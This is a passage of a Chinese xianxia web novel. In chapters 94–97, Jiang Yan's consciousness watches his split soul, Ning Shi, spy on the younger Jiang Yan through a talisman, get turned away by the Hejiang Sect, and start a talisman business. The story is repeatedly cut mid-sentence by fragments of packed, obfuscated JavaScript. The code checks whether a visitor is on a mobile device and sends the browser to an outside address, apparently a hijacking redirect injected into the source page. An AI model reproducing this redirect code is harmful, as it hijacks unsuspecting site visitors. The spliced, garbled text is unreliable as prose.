她眼中闪烁着奇异的光芒: “你去了那边好好学,不用总想着回来看我们。” 她指指自己的丈夫和婆婆:“我们自己也互相照顾。” “真的不用回来看,只要心里挂念着我们就好了。” 嬢嬢说得不错,离开宗门回一趟家并不容易。 一入合江宗,和凡人间种种大多要说再见了。 此时的少年江晏,不知如何回答。 于是现在的江晏,便看到自己端起碗,头低低埋进去。 这样,坐在对面的人就只能看到他摇晃的发丝。 看不到他那张已经泪流满面的脸了。 94. 东山居报到 看着眼前一家子殷殷切切的嘱托,宁时的手骤然握紧了。 江晏:……… 宁时这下没轻没重的,捏得连带着他的意识体也在手疼。 虽然此时宁时并不能听到他的声音,但江晏还是低声道: “我真是服了你了,孩子你自己不手疼吗?” 宁时确实是听不见的,手上的力度没有丝毫放松。 江晏又开始叹气了。 他附在少年宁时身上这么久,加上又是自己的分魂,几乎已经摸清了他的脾气和行为模式。 此时对方稍显激动的表现,毫无疑问——是嫉妒了: 自己因为意外事故附到了别人身上。 然后看着不知名的野魂霸占了自己的身体。 自己和野魂去宗门大选。 结果野魂选上了,自己落选。 而此时,这可憎的小偷还在用原本属于他自己的身体,欺骗了好心人的一家人。 心安理得享受着他们的爱与照顾。 江晏带入想了想,感觉此时宁时没有偷偷把自己弄死估计是极力克制后的结果。 ……感谢自己当年不杀自己之恩。 江晏猛地生出了这种庆幸。 回想起从前,自己吃饭时完全沉浸在了复杂的情绪之中,食不下咽,根本无暇关注身边环境的异样。 再加上毫无修为,若少年宁时一时气上头,冲动做事,自己还真是逃不掉的。 这种事细想起来虽然心惊胆战,但鉴于自己还能好端端地站在这里,就证明宁时放过了他。 江晏便安心继续观察宁时。 而正在被他观察的宁时,则是在紧盯着少年江晏的一举一动。 少年江晏却在思考自己以后会不会成为修真界的大佬。 …… 这个完美的闭环终于被打破了。 天下没有不散的宴席,嬢嬢家桌子上的菜被吃尽了。 少年江晏陪着她去收拾餐具,去刷碗。 他拿着碗,胳膊已经伸到了水池边,却又被嬢嬢拨到了一边: “你不应该做这事。” 少年江晏没有说话,只是依旧静默着,拿着盘子再次放到了水池里。 嬢嬢长叹一声,便随他去了。 一时间只听见水声哗哗。 “为什么让我吃完这顿饭就走?”少年江晏突然开口了。 他低着头,看着已经恢复了光泽的陶碗:“明明还可以在家里待两天的。” 嬢嬢闻言,跺了下脚,放下手中的活,顺便也强行放下了他手中的活,把少年江晏拉到身边,小声说: “你呀,到底是个小娃儿。” “瓜兮兮哩。” 少年江晏:? 嬢嬢继续道:“这样是对你好啊。” “合江宗大选去了那么多人,但选上的又太少了。” “偏偏你就选上了。” “有的人太想被选上了,但落选了,你猜猜,他们会做出什么事来?” 使用见行符偷窥的宁时:…… 江晏感觉他嘴角抽了抽。 眼前的画面中,嬢嬢还在叮嘱着少年江晏: “咱们家就是普通人家啊,没得什么高深的本事的。” “合江宗好,都是仙人。” “你先去他们的客栈那边,他们会好好保护你的。” 少年江晏略带懵懂地点点头。 嬢嬢又道:“唔,你去得早,多问仙长们一下修真的问题,多看书,多在他们面前表现。” “这样,人家才会觉得你是一个乖娃儿。” “以后有啥子好事情,才会第一个想起你。” 江晏看着眼前的一幕幕,有点好笑,也有点心酸。 这么多年过去,凡人的白骨怕是也早已变成了黄土。 只留下这些不真切的句子。 恍如隔世。 而见行符的影像中,少年江晏却不会因他现在的怀念而停留。 嬢嬢的婆婆年纪大了,腿脚不便,自然是送不得他,只能留在家中。 一个老人自己待着不算安全,嬢嬢的丈夫也一同留下陪着她。 至于嬢嬢,她会陪着少年江晏走过竹城这最后一段路。 两人走出了小巷。 身后,嬢嬢家人们的脸,愈发遥远。 合江宗负责大选事宜的弟子所住的客栈,距离此处还有一段路程。 少年江晏只是入选了,并不是突然暴富。 因此他和嬢嬢只能是用自己的两条腿走过去。 一路上,他耳边全都是嬢嬢的嘱托。 他们从黄昏的天色走到华灯初上,再走到暮色四合,终于是来到了合江宗弟子们所说的地点 是一处对于竹城的普通人来讲,颇为豪华的一座酒楼。 酒楼碧瓦飞?,雕梁画栋。 大门设得极为宽敞,就连容纳六架马拉的车子进门也是很轻易的。 向上望去,需要仰着脖子才能看见高高悬挂的烫金牌匾。 上面写着“东山居”几个大字。 在门口,嬢嬢和少年江晏的脚步同时顿了一顿。 并互相对视,眼中是一样的疑问:真的是这里吗? …… 在见行符的影像外,宁时发球的一声嗤笑: “小没见识的。” 附在宁时身上的江晏:…… 他作为合江宗修亭峰的峰主,平心而论,此刻也确实觉得自己怪土包子的。 但是,他想。 ——当时的自己才是小小的自己啊,土一点又怎么了! 于是剑修在心里默默记上一笔回到原世界之后要给分魂算的账。 …… 见行符中。 少年江晏开始从兜里翻什么东西,最后拿出了一张小纸条,是那天大选时,合江宗弟子塞给他的。 上面记录了前来东山居报到的程序等等。 ——确实是这里,他们没有走错。 少年江晏再次低头看了眼这张纸条,没有把它收起来,而是它在手里,和嬢嬢走进了东山居。 东山居不愧是竹城最好的酒栈,内部的装饰似乎比外面还豪华几分,金碧辉煌。 大堂里面安安静静的,不是寻常酒楼的喧哗。 少年江晏眨眨眼。 他感觉,就连在此处工作的店小二,也比其他地方更加俊秀。 在少年江晏观察店小二的时候,二人的目光交汇了。 于是,店小二向他走了过去。 少年江晏喉头滚动了一下,江晏以一个旁观者的角度看出来了,他是在紧张地咽口水。 江晏:……从某种程度上讲,宁时确实没说错。 店小二来到少年江晏面前,彬彬有礼:“您是住店吗?” 少年江晏摇摇头,又举起合江宗给他留下的那张纸条:“我是过来找人的。” 他正把纸条递给店小二之时,突然想到自己见过的很多小二都是不识字的。 于是他的手停在了空中:“要么我来读?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902405|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >店小二却大大方方地接过来纸条的另一端,笑道:“我们东山居的人,都是识字的。” 少年江晏愣了一下,最后神色变得讪讪的,小声说:“……抱歉了。” 小儿却不以为意,他读完了,纸条上的内容,抬起手,指指楼上的方向: “就是在那边了,你从这边上楼梯,整个二楼都被合江宗包下来了。” 少年江晏道了声谢,便拉着嬢嬢转身欲往楼上走去。 可当他一转身,却愣住了。 ——刚才他和店小二交谈的声音不大不小,但却足够东山居里大部分顾客听清楚“合江宗”这几个字。 眼看着眼前服饰平平的少年拉着妇人往二楼走去,这些人哪里还有不明白的? 那分明是合江宗的准弟子了! 一时间,大堂里所有人的目光,都集中在了少年江晏和嬢嬢身上。 少年江晏毕竟还小,他应当是觉得不好意思,微微低下头,脚步不停,向楼梯口走去。 而在见行符外,江晏面对此情此景,叹了口气。 然后,他听见宁时也叹了口气。 江晏:? 宁时开始自言自语了。 他说: “当时你看的这些人,心里是什么感觉呢?” “你应该骄傲,你是被合江宗选中的弟子,应该抬起头的。” 他用鼻腔发出一声笑:“可看看你现在的这副样子。” “真给我丢人啊。” “你应该看一看四周的他们都在看你。” “你能看懂他们的眼神吗?” “我怀疑不能,你这只抢别人身体的东西,看起来就是个傻的。” “那就让我来告诉你吧。” “是羡慕,惊艳,嫉妒,贪婪,算计……” “嬢嬢说的一点都没有错。” “你可真够幸运的,遇上了这么好的人家,被保护得这么好。” 宁时的牙间咯吱作响: “可是凭什么呢?” “你不应该是这样的。” “这是我的身体。” “就算是这具身体应该早早腐烂,也轮不到你披着。” 他喃喃道:“总有一天,我会拿回来这本应该属于我的一切……” 见行符中,少年江晏和嬢嬢走到了二楼上。 还不等他们扣门,一名年轻的弟子便凭空出现在走廊上,面对着他们。 二人稍稍一惊。 然后嬢嬢把少年江晏往前推了推,一边道:“仙长,这是我家孩子江晏。” “他被选中了。” 那弟子“唔”了一声。 于是嬢嬢继续说:“孩子放在你们这里我也更放心,还能让他早点学到东西。” 能负责宗门大选的弟子哪里有傻的?不过是听了几句话,那弟子心下了然。 于是便畅快地给少年江晏指了一间房屋暂住。 嬢嬢喜出望外,千恩万谢后,一步三回头地走了。 等她的身影彻底消失在门外之后,弟子拍了拍少年江晏的肩膀:“走吧。” 少年江晏唔了一声。 那弟子神色忽而一凝,看向他的下半身。 少年江晏不明所以。 只见这名弟子掐了个手势,随后再次拍拍他:“没事了哈。” 少年江晏依旧是懵懂着。 但江晏和宁时却知道发生了什么。 在弟子掐完手势之后,符中的影像消散了。 见行符,失效了。 95. 回去沉淀 在竹城的何家中,江晏和宁时一同对着空气愣住了。 刚才的事情发生太快,见行符几乎是瞬间就失了效。 他们现在眼前所能见到的,只有空荡荡的藏书阁。 此时的宁时已经经历过不少事情了,片刻后,很快反应过来。 他低声骂了一句:“完球了,被发现了。” 江晏:…… 到此,整个事件已经非常清楚了。 刚刚那一瞬间,是合江宗的弟子,发现了少年江晏身上的见行符。 出于对门派准弟子的保护,他出手毁掉了这张符。 所以眼前的画面才会消失。 江晏感觉此时宁时心里应该很难过。 毕竟是自己辛辛苦苦学了半天才做出来的成品,却被别人随手一挥间,轻易破解了。 这种实力上的碾压,绝对会给人带来巨大的精神打击。 果然,江晏感觉宁时的肩膀渐渐塌下来——这孩子蔫了。 他像一只长在潮湿木头上的阴暗蘑菇,在书桌后寂静地坐了片刻。 然后突然心跳加速。 江晏:? 由于生活经历不一样,即使此刻面对的是自己的分魂,江晏也不能完全明白他在想什么。 他只能看着这孩子突然之间坐直了,并发出了一声巨大的哀号: “——万一他根据符纸,反向追踪到我这里可怎么办!” “我还没学到怎么防追踪啊啊啊啊——” 江晏:…… 确实是有理有据的担心呢。 他从自己的记忆里扒拉了一遍,自己当年这段日子过得还比较平和,不像是有什么幺蛾子发生。 于是即便是知道宁时听不到,他还是说了:“应该不会有的。” 沉默了许久的啾啾对此发出疑问。 江晏解答:“首先,我没有这方面的记忆。” “其实让我主要确定宁时会没事的,是一个推理。” 他叹了口气:“正如你之前说的,合江宗没什么优秀的符修。” “这其实是随祖宗们的,合江宗历代大能,主要是出自剑修。” “所以啊,一来我们不会有很多符修的藏书,二来更不会有什么像样的符修。” “寻常弟子对符纸的了解,也不过就是看到了能认出来这种符的作用、对自己有没有害。” “以及如何毁掉有害符纸。” 话已至此,啾啾算是听明白了:“所以,你的意思是,宁时的担心多余了。” 江晏点点头:“对,毕竟如果对符修有了解的话,第一反应不会是彻底毁坏符纸。” “而是重新念一段咒语,实现符纸的反向追踪。” 确实是这个道理,但可惜此时的宁时不会知道。 他沉浸在被合江宗发现的恐惧之中,放在案上的右手,甚至在以一种肉眼可以观察到的速度抖动。 江晏看着,莫名冒出来了一句:“这没出息的样。” 说完,自己也是惊到了,转头又对上啾啾无语的眼神,他哑然片刻,解释: “都怪这孩子。” “这两天他总在说我那时候没出息,都被他带偏了。” 啾啾听了,不置一词。 于是江晏也没有再多的解释。 一人一鸟共同窝在宁时的意识海中,看着这具身体突然站起来。 然后在储物袋里一顿翻找,最终取出了一本名为《符修安全》的书。 江晏和啾啾:…… 然后他们陪着宁时看了一宿的书。 这一晚上,宁时初步学习了如何根据符纸追踪到人,以及防止追踪的技术。 翌日一早,他就又跑去了那家老板是个万事通的符纸铺子,给了老板几张新符纸,一起实验他的学习成果。 结果还真不错。 老板自然是激动极了,拉着他,询问这种新符纸的来历,并表示想购买一批。 宁时打哈哈圆过去了,虽然赚钱很重要,但是一天之后,他有更重要的事情去做,那就是—— 跟踪少年江晏去合江宗。 …… 等江晏明白宁时对老板说的“有点私事暂时离开几天”是什么意思之后,他已经随着宁时,窝在曲洲的合江宗山门外了。 修真界的地方总和凡人间有所不同。 比如,尽管此时按道理来说应该是冬天,竹城也是万物凋敝。 但到了合江宗山下,不知道是不是因为灵力滋养的缘故,四周的景色竟是绿意盎然。 甚至还能看到有的植物已然开花,身置于此,竟让人一时忘记了世间是什么季节。 宁时身上贴了数张隐匿气息的符纸,竹城和合江宗相距不远,他比少年江晏先出发了两天,此时已来到了合江宗脚下。 新入门的那一批弟子,自然是会有人带着他们凌空御气来到宗门,脚程会快不少。 因此算算时间,他们差不多也是和宁时一样,该出现在这里了。 宁时猫在山门对面的树林中,远远看着。 合江宗不愧是修真界数一数二的大宗门,大门弄得极为气派,足足有十余丈那么高。 在大门顶上,悬挂着巨大的牌匾,上面写了龙飞凤舞的“合江宗”三个大字,每个字比一个成年男性都还要高。 宁时深吸了一口气。 江晏感觉这孩子是有点激动,由于共用同一具身体,对方的身体变化自然是躲不过他的观察的。 宁时心跳加快了,他后背沿着脊柱也出了一层细密的汗。 江晏很难形容此时看到宁时这种神情的感觉,如果非要形容的话,也许是有些……可怜。 天光撒下,合江宗大门的阴影笼罩着宁时。 这对于江晏,是故土。 对于少年江晏,是未来。 但对于宁时,是一场华胥梦。 宁时就这样静静坐在树林中,面对着合江宗,仿佛入定一般地在原地待了一个半时辰。 远处似乎有风声传过来了。 山间风大,这点动静不足以吸引宁时的注意力。 但是风声渐长,并且听起来越来越近了。 宁时终于是向四周张望看去。 远处隐约能看到一行人朝着这个方向踏空而来。 他们速度极快,不过眨眼的功夫,就从几个米粒大小,到了了能清晰看到人脸的距离。 江晏顺着宁时的视线看过去。 ——这一行人可太熟悉了。 是合江宗的弟子带着新入选的一批弟子回来了。 站在最前面的,是几个他从来没有见过的弟子。 宁时像他们身后看去,只见在竹城见过的几个弟子跟着。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902406|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >而在这些负责大选事宜弟子的身后,就是那些被选中的,准备入门的弟子了。 正式弟子们穿着白衣,衣袖末端烫了金,行动间袖袍翻飞,煞是好看。 他们身后的准弟子们也换上了统一服装,是浅灰色的,虽然不像正式弟子这般仙气飘飘,但看起来也是干净利落。 在一张张脸之间,不知为何,宁时还是准确的发现了那个他自认为用了自己身体的江晏。 少年江晏衣服和他身边一堆新入门的弟子一样,灰灰的;发型和他们一样,扎了一个高马尾;就连神态和他们也一样,眼睛里亮晶晶的。 全都是对未来的好奇和向往。 ……但是为什么会一眼就能看到他呢? 宁时不知道,少年江晏也不知道。 而在宁时打量这些人的功夫间,他们已经从远处来到了这棵树前,又掠过了这棵树。 只留给他一排排后脑勺。 宁时吐出了一口气。 他低声自言自语:“……所以我为什么要跑到这里来。” 江晏听了,也想问他,是啊为什么啊。 明明都已经落选了。 如果是对大选结果有异议,那刚才为什么不拦住那一行人,让他们再重新测试灵根呢? 在某种程度上,他想到的问题分魂也能想到。 于是江晏听到宁时继续自言自语:“难道我要冲过去让他们重新测试灵根吗?” “笑话,这估计是根本不可能的。” “而且那个所谓的江晏也在人群里……可不就让他看了笑话。” 江晏:…… 在某种程度上,他和分魂的死要面子真的是如出一辙。 宁时绕过了身前那棵大树,看向远处准备进入宗门的这一群人。 江晏感觉他握紧了拳,这孩子低声说: “刚才我说什么?估计?” “这应该是我的一种猜测。” “但是我真的可以试一试,尽力总是最好的,我不要给自己留遗憾。” 江晏似乎要明白过来他准备干什么了。 果然,只见宁时深吸了一口气,然后向着正在给守门弟子府碟的弟子冲过去了! 一边跑着,还喊着:“等一下,等一下!” “我是之前参加了大选的人——我是符修,但试灵石根本没有测出我的灵力。” “我想……” 心中的预感得到了验证,江晏额角开始剧烈抽搐。 如果他没记错的话…… 果然,为首的那几个他之前没有见过的弟子皱了皱眉,口中道:“这样的情况我们可见多了。” 说完,双手一挥,灵光闪过后,宁时扑到了一层无形的屏障上。 他似是有些反应不过来,还在上面锤了两下。 那为首的弟子叹了口气,道:“你也不能在门口这样闹啊。” 说完,那构成屏障的灵力换了个形状,如同毯子一般将宁时包裹起来。 随后腾空而起,向着山门外的小树林飞去了。 这一系列变故实在是太快,江晏看得目瞪口呆。 他只记得当年没有在门口新收弟子,却不料是这种把人直接打包赶走的情况。 这番操作下去,宁时的担心完全成了多余。 因为……少年江晏根本没来得及看清他的脸。 96. 创业 宁时的身体悬浮在空中,耳畔是呼呼的风声。 江晏陪他飞着,心中一片凄凉。 ——又被合江宗拒绝了这倒是其次,主要是被打包扔走了啊! 丢人可丢大了。 那名合江宗弟子虽然看起来动作粗鲁,但这个法术实际体验还算轻柔。 包裹着宁时的灵力飞到小树林里面,缓缓从空中下降,将他放在了地上。 宁时从半空中飘摇无所依的状态转到了稳稳的地面上,恢复了所有力气和手段。 果然,江晏又听到了他磨牙的声音。 咯吱咯吱。 江晏便有些忧心忡忡的,他对啾啾说:“这个年龄的孩子应该已经换过牙了,这条世界线有没有牙医,他万一把牙咬坏了……” 啾啾无奈了:“首先他有灵力,你不用担心这个……其次,你更在意的难道不应该是他会搞事情吗?” 江晏语气幽幽:“不用担心,这是可以预见到并必然发生的事。” 啾啾:…… 事实证明江晏没有说错。 宁时灰溜溜回到竹城何家之后,又转头把自己锁进了藏书阁鼓捣。 如此三个月后,他靠着新研发的符纸又赚了一笔钱。 积累了足够的物质基础,宁时认为,自己该做一些提升了。 于是他开始寻找专门研究符修方向的老师,让他们来教自己。 不得不说,这样的修行速度确实比他自己硬学更快了。 与此同时,宁时在竹城画符的名气也渐渐大了,开始有一些顾客在他经常出现的那几家符纸铺等着,专门等他出现,然后去问他某种有特定效果的符纸能不能画。 由于请人讲学是一笔支出,宁时一般并不会拒绝这种有定制化需求的客人。 ——因为他们通常能给出更高的价格。 如此一来二去,他的名气便更加响亮了,似乎还和“有求必应”“上流”等等词语相关联。 而一些见多识广的符纸铺老板,似乎察觉到了宁时的不同寻常。 他们开始邀请宁时来自己的店里常驻,甚至许诺会把整个铺子的收入的五成分给他。 其实在宁时得知这种堪称送钱的主动要求时,吓了一跳。 但面色不显,绕过了这个话题。 但只有江晏知道,宁时在一回到何府之后就原形毕露,像个小孩一样,对着空气开始激动地自言自语: “他们居然要白送给我诶!” “是白送欸!” “为什么要白给我?是因为感觉我很厉害吗。” “啊哈哈哈哈!” “但是这其中会不会有诈?我到底应不应该接受?” 江晏:…… 他看着宁时在何府里撒欢着跑。 又跑过何照山等被邪术反噬那几人的院落。 他们看起来更像几具骷髅了。 宁时静静看了他们几秒,又转过身走远了。 第二天,他答应了这些符纸铺老板的请求。 从此,他开始有了具有实体场所的产业。 破败的何府不再是他赖以生存的场所,他在何府之外还有一番天地。 如此又过了半年。 由于宁时符纸定制的业务越做越大,他的客户们也带来了其他的需求。 比如说,问他能不能出某种任务,或者是向他打听一些事情。 这些任务,通常是委托人自己或者亲戚家被什么恶灵缠上了,要求驱赶邪祟。 至于打听消息,那范围可就广了。 上可包括为什么修真界多年无人飞升,下可包括街尾蒲嬢嬢家的猫丢了问宁时能不能算出来猫在哪儿。 宁时起初在看到这些需求时,整个人都是震惊的。 但是对方给出的价格又实在美味。 宁时不会跟钱过不去,因此,他接受了这些委托任务。 为了能更好完成这些任务,有时,委托人会告诉他不少信息。 而当遇见信息不够的情况时,宁时也愿意出钱去打听——反正只要赚的钱比花出去的钱多就好了。 …… 如此日复一日,宁时的业务就是这样一步步扩展起来的。 此时人间并不太平,于是人界、修真界、魔界之间的往来便增多了。 竹城又地处于三界相交处,宁时接到的任务,有时难免和修真界甚至魔界有关。 宁时本着“有钱不赚的是傻瓜”的思路,几乎是来者不拒,很快将业务进一步扩张到了三界。 此时,距离何家受到邪术反噬,已经过去了三年。 宁时独来独往惯了,并没有雇人打理何府。 他对此地更是没有什么好感,起初用灵力维持何府的建筑,是为了容身的需要。 而如今他已经拥有了自己稳固的产业,何府便彻底没了用处。 宁时撤走了维持何府建筑清洁与稳固的灵力。 于是这些木质楼宇在风吹日晒中很快变得老旧。 先是藏书阁的主体墙壁上裂了一道大缝。 江晏看着,有点心疼:“这怎么说也是他奋斗过的地方……就这样说不管就不管了?” 啾啾道:“你可是越来越抠了。” 江晏看着宁时开始收集何府有价值的书籍和宝物:“其实也能理解的。” “他需要一个完全新的开始。” “他的过去并不算顺利,在这里,他总会想起以前不好的事情。” “出去吧,去更大的世界里。” 宁时也是这样想的。 他除了收拾何府的东西,还在琢磨下一个落脚点。 江晏并不知道未来这个落脚点的样子,他只知道,跟着宁时走,是没错的。 竹城多雨。 在某天清晨,先是撒下了蒙蒙细雨。 何家的楼阁被淹没在了水雾中。 等到了上午,雨渐渐变大了。 淅沥淅沥,是雨点掉在屋顶上。 楼房上的裂缝愈发扩宽了。 到了下午,便是大雨倾盆。 白雨如线,连天接地,顺着地势高的地方流下,汇成一条蜿蜒的小溪。 终于,似乎有什么东西断裂的声音传来。 咯吱咯吱。 咯吱声愈发大了,最后变成了一声巨响。 何府的数座楼宇,倒塌在了这一场磅礴雨中。 被雨水浇着,甚至扬不起一丝尘埃。 何家被邪术反噬的那一批人,何家的雕梁画栋,何家曾经的辉煌,全部被埋葬。 宁时脚下踩着一张御空符,飘在半空中,俯视着这个困住了他不知多少年人生的地方。 雨继续下着。 但他不再是在城南坟场的泥地里守着旧人哭的小孩子了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他沉默片刻,发现啾啾说的全都是真理,难以反驳。 理智上能理解,但情感上还是一时难以接受。 江晏的意识体用力抹了把脸,试图冷静下来。 然后就被宁时的动作转移走了注意力。 ——这孩子开始进行把买来的、从何家打包带走的东西的安置工作。 以及各类符纸的张贴工作。 …… 工程量浩大,三天后,胜意门开始有了几分人气,也有顾客开始陆陆续续上门。 至此,宁时就住在了这里。 这是他完全独立的产业,完全独立的住址。 万事胜意。 胜意门的运行渐渐进入正轨,收集八方信息,满足八方心愿。 有传言称,胜意门门主,似乎对合江宗很感兴趣,但态度不明。 …… 三年后,暮春一个普通的日子。 宁时低头看着手上的一张见行符,露出了一个雄狐般的笑。 97. 见行符(沉淀版) 这几年间,由于时间回溯不会像原世界线一样稳定,因此,在江晏眼中,时间过得时快时慢。 比如宁时在竹城创业初期那一段时间,就过得慢悠悠的,让他感觉自己也亲身经历了一遍。 而之后这三年,却几乎是眨眼间就过去了。 江晏只知道,这几年间,宁时没少往合江宗跑。 ……但那几年,由于自己是刚入宗门,一心沉浸在修习中,几乎不曾下山。 所以,宁时制造的所有“偶遇”都落了空。 一段时间后,宁时自己应该是也认识到了这一点,他改变了策略。 他在合江宗附近,要么是和当地居民套近乎,要么是和进出宗门的弟子搭讪。 然后最终挑选了一个和少年江晏平时生活里有些交集的弟子,建立了虚假的友谊关系。 终于有一天,他在这名弟子身上偷偷放了见行符,准备进去宗门后挪到少年江晏身上。 这些年,他画符的能力自然是比原来精进了很多。 再加上那名弟子不算什么核心人员,不必接受严苛的检查,因此,这次宁时画的见行符,居然顺顺利利地进了合江宗。 眼看着目的达到,宁时也就不再纠缠,直接从宗门附近失踪。 他做事一向谨慎,毕竟这事有点耍人了,他便是一直套着一个假脸皮和那位弟子接触的。 ——是了,这些年宁时也积攒了不少以假乱真的面具。 毕竟,胜意门现在已经开始在三界出名了。 而作为门主,保持神秘感自然会为他省去许多不必要的麻烦。 …… 江晏对此表示:这孩子还不算傻。 但聪明孩子有时候会带来另一种麻烦。 比如,此时宁时手中的那张见行符。 算起时间,这张符纸大概是少年江晏在进入宗门两年之后才贴到他身边的。 符纸预计使用寿命可长达数十年,但不知是不是因为受合江宗入门阵法的影响,在进入宗门之后,有时会不灵。 宁时经常是用这张符看着少年江晏那边的画面,看他吃饭,吃到一半,啪,黑屏了。 或者是看他练功,和同门比试,两个人刀光剑影弄起一片灵力光影,还没来得及看出胜负,啪,又黑屏了。 再或者是看他洗澡,少年江晏脱下里衣,取下束发的簪子,于是墨色的长发便滑下来,挡住了后背。 而少年还在无知无觉地走着,他踏入水池中,于是平静的水面荡开一圈圈波纹,他的黑发也浮在水上,随着波纹轻轻颤着。 少年侧过了脸,看起来是要转身。 …… 在宁时的意识海中,江晏在震惊中发出爆鸣: “停下了啊啊啊——” 尖叫出口后,眼前的画面还真的黑屏了。 江晏:……谢天谢地。 宁时却似乎不太满意,他轻轻“啧”了一声:“娇生惯养。” 江晏无语,对着啾啾指指自己:“……我吗?” 宁时还在自言自语:“看看,头发都养的这么好了,都反光。” “可不是当年一头乱糟糟的黄毛了。” “把我这个身体,养得还算不错。” 说完,将见行符放在一旁,等待它恢复运转。 一边取来下属递上来的单子,靠在座椅上看着。 …… 当然,也有很多时候,见行符没掉链子,很是好用。 于是宁时也有机会看到了以下画面: 少年江晏安安静静地听课做笔记,然后在考核期将至时买笔记。 又被一些修真界世家的弟子言语嘲讽一番。 但少年江晏不怕他们,有时候心情不好了,还会回呛几句。 少年人总是年轻气盛的,再加上他的资质确实上佳,在合江宗的日子虽然不说顺风顺水,但大体上还不错。 合江宗弟子的晋升自成一套体系,少年江晏现在只能算是外门弟子。 可即便是这一个听起来不算重要的名字,那也是从无数人里选出来的,实打实的合江宗弟子。 在外门弟子之上,还有内门弟子、核心弟子、亲传弟子。 而从外门弟子转成一名内门弟子,不但需要在宗门的各项测试中成绩优秀,而且也要有外出成功完成任务的经历。 只是…… 合江宗有明文规定,新弟子入门三年后,才可以去出任务。 少年江晏是有天赋又卷的人,他能理解这条规定,但对对其没有好感。 在这三年的日子里,他经常去发布任务的如风堂,去看看里面有什么类型的任务。 如风堂有点像个小卖部,货架上是一块块写着任务内容的木牌。 按照任务难度的不同,给予完成任务的弟子不同的灵石回报。 至于这些任务,简单的有帮山下的村民搭建房屋,难的有去某山谷除掉一只在当地盘踞了百余年的妖怪。 一般弟子们领取任务,都会量力而行。 但也不排除有一些眼高手低的孩子,因此,如风堂的长老在弟子领取任务后,也会进行一番判断。 在暮春的一个普通的日子里,少年江晏再次踏进了这里。 却是首次以可以领取任务的弟子的身份。 他在如风堂里环视一圈,最终将目光定在了一块位于“难度中等”序列里的木牌上。 这是经过他一番认真思索后的最终选择。 如果选的简单了,和他“有天赋”的身份不符,而且得到的积分也低。 如果选的难了,万一在做任务中途出现了波折,反而会影响长老们对他的评价。 所以,少年江晏在纠结一番后,决定取中间值。 他拿起了这序列中其中的一块木牌。 …… 宁时的见行符视线有限,他看不到木牌上写了什么字。 只能看到少年江晏把木牌递给如风堂的长老,长老端详一番后,又看了看他的弟子名牌,便任他带着木牌出去了。 他又行走在暮春中,有半透明的浅红花瓣拂过他的衣袖。 宁时安静地看着。 通过见行符,他对少年江晏在合江宗里经常出没的几个地方已经比较眼熟了。 眼前少年正在走的这条路,要经过一片竹林,然后回到达外门弟子的集体宿舍。 ——是的,是集体宿舍。 合江宗虽然占地极大,但不少看似可以利用的空地,实际上都是有归属的。 比如是某位长老培育新品种灵草的地方。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902408|160119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或者是剑修们专门用来练剑以至于愈发寸草不生的地方。 再或者是一些秘境。 而且再加上宗门里不少长老的观念是“吃苦才能锻炼人”,因此,外门弟子都是六个人住一间屋子的。 等成为了内门弟子,才会从六人间变成四人间。 而核心弟子是住二人间的,至于亲传弟子,才会有自己单独的房间。 此时的少年江晏,住的是外门弟子们统一的六人间。 他绕过门口的青竹,侧过身,推开了门。 屋子里似乎还有人,听到了门口的动静,转过头欣喜道:“你回来了?” 见行符景象外,宁时眉毛微微皱起。 ——自从少年江晏进入合江宗之后,他们两个人再也没有交集了。 于是,少年身边出现的越来越多宁时没有见过的人。 他们有的人和少年只会短暂接触,但有的人学会和少年越走越近。 就比如此刻在少年面前,刚刚说完话的白一苇。 他比少年江晏稍年长几岁,看起来更沉稳一些。 宁时瞪着他——他不喜欢白一苇。 白一苇一和少年江晏说话,两人就常常会聊天聊到不知道什么时候了。 宁时只想观察着少年的一举一动,白一苇对于他,是一个阻碍。 他有点不高兴了。 但这次的情况还算好。 少年江晏似乎也惦记着木牌上的任务,给白一苇看了一眼之后,便取回来,靠在自己桌前研究起来。 宁时松了口气,他终于得了机会,借着见行符,和少年一起阅读详细的任务内容。 江晏的意识体也随着他们的动作,探着脑袋看去。 啾啾:“……你们真的不觉得现在这个场面很奇怪吗?” 江晏摊手:“怎么了,宁时是监视我的少年体,我是回忆一下我的青春时光而已。” 他语气平常,像是在说今天天气真好。 啾啾叹气:“你已经被分魂折腾习惯了……现在居然能这么平静地接受被监视这个现实。” 江晏嘴角抽了抽:“不接受又能怎样,事情都已经发生了。” 